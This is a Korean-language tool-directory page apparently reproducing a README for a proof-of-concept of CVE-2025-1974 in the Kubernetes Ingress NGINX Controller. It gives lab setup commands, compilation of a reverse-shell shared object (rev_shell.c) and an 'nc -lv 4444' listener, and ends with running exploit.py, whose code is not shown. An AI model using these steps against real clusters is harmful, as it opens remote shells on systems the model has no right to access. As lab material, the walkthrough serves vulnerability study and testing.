Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-1974 — CVE-2025-1974 PoC 코드 | Kitploit
도구/GitHubGitHub/zulloper/cve-2025-1974
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud Security
GitHubzulloper/cve-2025-1974

CVE-2025-1974

CVE-2025-1974 PoC 코드

저장소 보기
51년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-1974: Kubernetes Ingress Nginx Controller 취약점 분석 및 PoC 환경 구축

테스트 환경

  • MacOS (M2)
  • Ingress NGINX Controller 1.11.3
  • Rancher Desktop (Docker)
  • Minikube (Kubernetes)

로컬 테스트 환경 세팅(M2 MacOS)

로컬 테스트를 위해 minikube를 설치

minikube start --driver=docker

아래 명령어로 ingress-nginx-controller를 구성

kubectl apply -f ingress-nginx-controller.yml

port forwarding

Pods가 잘 동작하고잇는지 확인

kubectl get pods -n ingress-nginx

kubectl describe <pod name> -n ingress-nginx

Pods의 80, 8443(webhook)포트를 로컬의 8888, 1337 포트로 포트포워딩 (포트포워딩 80, 8443 모두 필요)

kubectl port-forward -n ingress-nginx <pod name> 8888:80

kubectl port-forward -n ingress-nginx <pod name> 1337:8443

so(shard object library) 준비

rev_shell.c 에서 리버스쉘을 연결한 IP, Port 변경

MacOS(arm64)환경에서 컴파일, 테스트할 환경에 맞게 컴파일 필요

aarch64-linux-gnu-gcc -shared -fPIC -o rev_shell.so rev_shell.c

root@kitploit:~
# 크로스컴파일러 설치
brew tap messense/macos-cross-toolchains
brew install aarch64-linux-gnu

AdmissionReview 생성(선택, 기존의 생성된 파일을 이용해도 무방)

kube-review로 AdmissionReview 형태로 변환 (json)

./kube-review-darwin-arm64 create admission_test.yml > admission_review_req_body.json

Exploit

리버스쉘을 위해 nc로 리버스쉘 연결 준비

nc -lv 4444

exploit.py에서 nginx, webhook의 host 및 port를 수정 후 실행

python3 exploit.py

img.png

도구 다운로드